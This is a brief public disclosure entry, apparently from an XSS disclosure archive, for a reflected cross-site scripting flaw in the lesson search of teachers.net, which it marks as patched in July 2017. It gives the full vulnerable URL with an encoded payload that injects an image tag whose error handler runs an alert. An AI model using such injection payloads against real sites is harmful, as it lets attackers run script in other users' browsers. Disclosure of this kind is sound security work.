teachers.net XSS vulnerability

Vulnerable URL: http://teachers.net/lessons/search/?q=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 21:46 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...